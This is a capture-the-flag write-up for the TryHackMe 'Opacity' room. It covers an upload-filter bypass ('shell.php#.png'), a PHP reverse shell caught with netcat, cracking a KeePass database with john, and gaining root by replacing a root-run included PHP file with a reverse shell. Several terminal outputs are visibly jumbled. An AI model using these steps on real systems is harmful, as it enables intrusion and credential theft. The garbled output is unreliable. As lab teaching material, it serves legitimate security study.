

Opacity

Opacity

<https://tryhackme.com/room/opacity>

IN this room

keepass

hash cracking

file download bypass

rustscan -a 10.10.24.219 -- -sC -sV -A | tee scan.txt

```
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 0fee2910d98e8c53e64de3670c6ebee3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC4rFV9BD2hlJ8EgxU6cl0j6v7GMUIjfa7fzckrKGPnvxQA3ikvRKouMMUiyThvfw7g0ORLS5icN3qHS8cmRsLFjQV6yNL6/nb+MyFUJlUYk4WGJYXekoP5CLhwGqH/yKDXzdm1g8LR6sfYw8f
ehE7FM9AvXMXqvj+/NoC209pWu/s5uy31nBDYVFRP8VG3YEJqMTBgYQik1RD+Q6qZya1RQ0nQx6qLy1jkbgrRU9mnfhizLVsqZyXuoEYdnpGn9ogXi5A0McDmJF3hh0p01+KF2/+GbKjJ5GMy1gYtU1/W+WAoFSPE41VF7NSxbDRba0WIH5RmS6MDDFt
9tbK833sg9Ct6bHbpZCFnxB13toM3o8KYVDfbbpD1r9/zE11R9ToU7t+RH6V0zrljb/cONTQCANYxESHWVD+zh/yZG04RwDCou/ytsYCrnjZ6jHjJ9TWVkrpVjR7VAV8Bns56egCYB0JqybxW2moY86PJLBVKd6r7*4nm19yX4AQpm8=
|   256 9542cdfc712799392d0049ad1be4cf0e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBAqe7rEbmVlsedJwYaZCidligUJewXWs8mOjEKjVrrY/28XqW/RMZ12+4wJRL3mTaVj/ftI6Tu9uMbgHs21iitQQ=
|   256 edfe9c94ca9c086ff25ca6cf4d3c8e5b (ED25519)
| ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINQSFcnxA8EchrkX600RPMojIUZyzyyQT9fM4z4DdCZyA
80/tcp    open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-cookie-flags:
|   /:
|     PHPSESSID:
|     httponly flag not set
|     http-title: Login
|_ Requested resource was login.php
|_ http-methods:
|   Supported Methods: GET HEAD POST OPTIONS
139/tcp    open  netbios-ssn syn-ack Samba smbd 4.6.2
445/tcp    open  netbios-ssn syn-ack Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```


dirsearch -u 10.10.24.219

```
(kali㉿kali)-[~/THM/opecity]
$ dirsearch -u 10.10.24.219
ROMCHIK.ovpn
chirp 0.2.11 (1) v0.4.2
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/10.10.24.219_23-11-23_11-16-47.txt
Error Log: /home/kali/.dirsearch/logs/errors-23-11-23_11-16-47.log
Target: http://10.10.24.219/
[11:16:47] Starting:
[11:16:54] 403 - 277B - /.ht_wsr.txt
[11:16:54] 403 - 277B - /.htaccess.bak1
[11:16:54] 403 - 277B - /.htaccess.orig
[11:16:54] 403 - 277B - /.htaccess.save
[11:16:54] 403 - 277B - /.htaccess.sample
[11:16:54] 403 - 277B - /.htaccess_orig
[11:16:54] 403 - 277B - /.htm
[11:16:54] 403 - 277B - /.htaccess_extra
[11:16:54] 403 - 277B - /.htaccessOLD
[11:16:54] 403 - 277B - /.htaccessOLD2
[11:16:54] 403 - 277B - /.htaccess_sc
[11:16:54] 403 - 277B - /.htaccessBAK
[11:16:54] 403 - 277B - /.html
[11:16:54] 403 - 277B - /.htpasswd_test
[11:16:54] 403 - 277B - /.htpasswd
[11:16:54] 403 - 277B - /.httr-oauth
[11:16:56] 403 - 277B - /.php
[11:17:21] 200 - 639B - /cloud/
[11:17:21] 301 - 312B - /cloud → http://10.10.24.219/cloud/
[11:17:23] 301 - 310B - /css → http://10.10.24.219/css/
[11:17:34] 302 - 0B - /index.php → login.php
[11:17:34] 302 - 0B - /index.php/login/ → login.php
[11:17:38] 200 - 848B - /login.php
[11:17:39] 302 - 0B - /logout.php → login.php
[11:17:54] 403 - 277B - /server-status/
```

10.10.24.219/cloud/

Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Shift Cipher - Online D...

5 Minutes File Upload - Personal Cloud Storage



EXTERNAL URL:

UPLOAD IMAGE

The technicue to bypass image download is not very easy, I found them in discord disscussion. I need to use 2 files

```
python3 -m http.server 8000
```

```
-rw-r--r-- 1 kali kali 2588 Nov 24 15:23 shell.php
-rw-r--r-- 1 kali kali 2588 Nov 24 15:16 shell.php#.png

(kali㉿kali)-[~/THM/opacity]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.48.49 - - [24/Nov/2023 15:24:09] "GET /shell.php HTTP/1.1" 200 -
```

shell.php

shell.php#.png

In second file is possible to use space or nullbyte instead of "#"

I try to download **shell.php#.png** on the server, and download is succesfull, but the file **shell.php** was downloaded

IMAGE LINK:

<http://10.10.48.49/cloud/images/shell.php#.png>

Run listener

I use PHPPrevshell-pentestmonkey . Got shell after downloading

```
(kali㉿kali)-[~]
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.18.88.130] from (UNKNOWN) [10.10.48.49] 49968
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
20:24:11 up 1:22, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (740): Inappropriate ioctl for device
bash: no job control in this shell
www-data@opacity:/$
```

```
find / -type f -user sysadmin 2>/dev/null
```

keepass file found

```
www-data@opacity:/tmp$ find / -type f -user sysadmin 2>/dev/null
find / -type f -user sysadmin 2>/dev/null
/opt/dataset.kdbx
/home/sysadmin/.sudo_as_admin_successful
/home/sysadmin/.bash_history
/home/sysadmin/local.txt
/home/sysadmin/.bashrc
/home/sysadmin/.bash_logout
/home/sysadmin/.profile
www-data@opacity:/tmp$
```

But I have not password

Try to crack:

```
keepass2john file.kdbx > hash.txt
```

```
john hash.txt --wordlist=/home/kali/Desktop/rockyou.txt
```

```
(kali@kali)-[~/THM/opecity]
$ keepass2john file.kdbx > hash.txt

(kali@kali)-[~/THM/opecity]
$ cat hash.txt
file:$keepass$*2*100000*0*2114f635de17709ecc4a2be2c3403135ffd7c0dd09084c4abe1d983ad94d93a5*2bceccca0facfb762eb79ca66588135c72a8835e43d871977fb68e2c3be9e46e8b7fc05eb944fad8b4ec5254a40084a73127b4126408b2ff46*b0afde2bd0db881200fc1c2494baf7c28b7486f081a82e935411ab72a27736b4

(kali@kali)-[~/THM/opecity]
$ john hash.txt --wordlist=/home/kali/Desktop/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 6 OpenMP threads
Press 'a' or Ctrl-C to abort, almost any other key for status
(file)
1g 0:00:00:05 DONE (2023-11-24 16:46) 0.1972g/s 175.1p/s 175.1c/s 175.1c/s chichi..simpsons
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
kpcli --kdb=file.kdbx
```

Here I found password for sysadmin, I didn't see pass but I can copy him

```
(kali@kali)-[~/THM/opecity]
$ kpcli --kdb=file.kdbx
Provide the master password: *****
cd css
KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/> ls
≡ Groups ≡
Root/ --r-- 1 www-data www-data 1529 Jul  8 2022 style_opa.css
kpcli:/> cd Root:/var/www/html/css$ cd ..
kpcli:/Root> ls
≡ Entries ≡
0. user:password
kpcli:/Root> show 0
Title: user:password root 4096 Jul 26 2022 ..
Uname: sysadmin www-data www-data 4096 Jul  9 2022 cloud
Pass: [REDACTED] www-data www-data 4096 Jul  8 2022 css
URL: --r-- 1 www-data www-data 2429 Jul  8 2022 index.php
Notes: --r-- 1 www-data www-data 1922 Jul  8 2022 login.php
--rw-r--r-- 1 www-data www-data 141 Jun 18 2014 logout.php
kpcli:/Root> cd /var/www/html$
```

```
ssh sysadmin@10.10.48.49
```

```
Last login: Wed Feb 22 08:13:43 2023 from 10.0.2.15
sysadmin@opacity:~$ id
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),24(cdrom),30(dip),46(plugdev)
sysadmin@opacity:~$ ls -la
total 44
drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22 2023 .style.css
drwxr-xr-x 3 root root 4096 Jul 26 2022 .style_opa.css
-rw-r--r-- 1 sysadmin sysadmin 22 Feb 22 2023 .bash_history
-rw-r--r-- 1 sysadmin sysadmin 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin 3771 Feb 25 2020 .bashrc
drwxr-xr-x 2 sysadmin sysadmin 4096 Jul 26 2022 .cache
drwxr-xr-x 3 sysadmin sysadmin 4096 Jul 28 2022 .gnupg
-rw-r--r-- 1 sysadmin sysadmin 33 Jul 26 2022 local.txt
-rw-r--r-- 1 sysadmin sysadmin 807 Feb 25 2020 .profile
drwxr-xr-x 3 root root 4096 Jul  8 2022 scripts
drwxr-xr-x 2 sysadmin sysadmin 4096 Jul 26 2022 .ssh
-rw-r--r-- 1 sysadmin sysadmin 290 Jul 28 2022 .sudo_as_admin_successful
sysadmin@opacity:~$ cat local.txt
login.php
logout.php
kpcli:/Root> cd /var/www/html$
```

I found script in scripts directory, but I cannot change them. This script use file `lib/backup.inc.php` as

argument!!!

```
sysadmin@opacity:~/scripts$ cat script.php
<?php

//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
    $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
    foreach ($ri as $file) {
        if($file->isDir()) { rmdir($file); } else { unlink($file); }
    }
}

sysadmin@opacity:~/scripts$ ls -la
total 16
drwxr-xr-x 3 root    root    4096 Jul  8  2022 .
drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22  2023 ..
drwxr-xr-x 2 sysadmin root    4096 Jul 26  2022 lib
-rw-r--r-- 1 root    sysadmin 519 Jul  8  2022 script.php
sysadmin@opacity:~/scripts$ cd lib
sysadmin@opacity:~/scripts/lib$ ls
application.php  backup.inc.php  bio2rdfapi.php  biopax2bio2rdf.php  dataresource.php  dataset.php  fileapi.php  owlapi.php  phplib.php  rdf
sysadmin@opacity:~/scripts/lib$
```

I create file with same name , but with revshel to my kali,start listener, and replace normal file

```
sysadmin@opacity:~/scripts/lib$ cp backup.inc.php /home/sysadmin/
sysadmin@opacity:~/scripts/lib$ cd ..
sysadmin@opacity:~/scripts$ cd ..
sysadmin@opacity:~$ ls
backup.inc.php  local.txt  scripts
sysadmin@opacity:~$ nano backup.inc.php
sysadmin@opacity:~$ mv backup.inc.php backup.inc.php.1
sysadmin@opacity:~$ nano backup.inc.php
sysadmin@opacity:~$ mv backup.inc.php /home/sysadmin/scripts/lib/backup.inc.php
mv: replace '/home/sysadmin/scripts/lib/backup.inc.php', overriding mode 0644 (rw-r--r--)? y
sysadmin@opacity:~$ cd scripts/lib/
sysadmin@opacity:~/scripts/lib$ ls
application.php  backup.inc.php  bio2rdfapi.php  biopax2bio2rdf.php  dataresource.php  dataset.php  fileapi.php  owlapi.php
sysadmin@opacity:~/scripts/lib$ nano backup.inc.php
sysadmin@opacity:~/scripts/lib$
```

After less than 1 minute I got root shell

```
$ nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.18.88.130] from (UNKNOWN) [10.10.48.49] 36624
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
22:21:01 up 3:19, 1 user, load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
sysadmin  pts/0    10.18.88.130    21:54    21.00s  0.14s  0.14s  -bash
uid=0(root) gid=0(root) groups=0(root)
bash: cannot set terminal process group (27283): Inappropriate ioctl for device
bash: no job control in this shell
root@opacity:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@opacity:~# ls
ls
bin  x.php
root@opacity:~# cat proof.txt
proof.txt: 3 www-data www-data 4096 Jul  9  2022
snap  -xr-x 2 www-data www-data 4096 Jul  8  2022
root@opacity:~# cat proof.txt
cat proof.txt
root@opacity:~#
```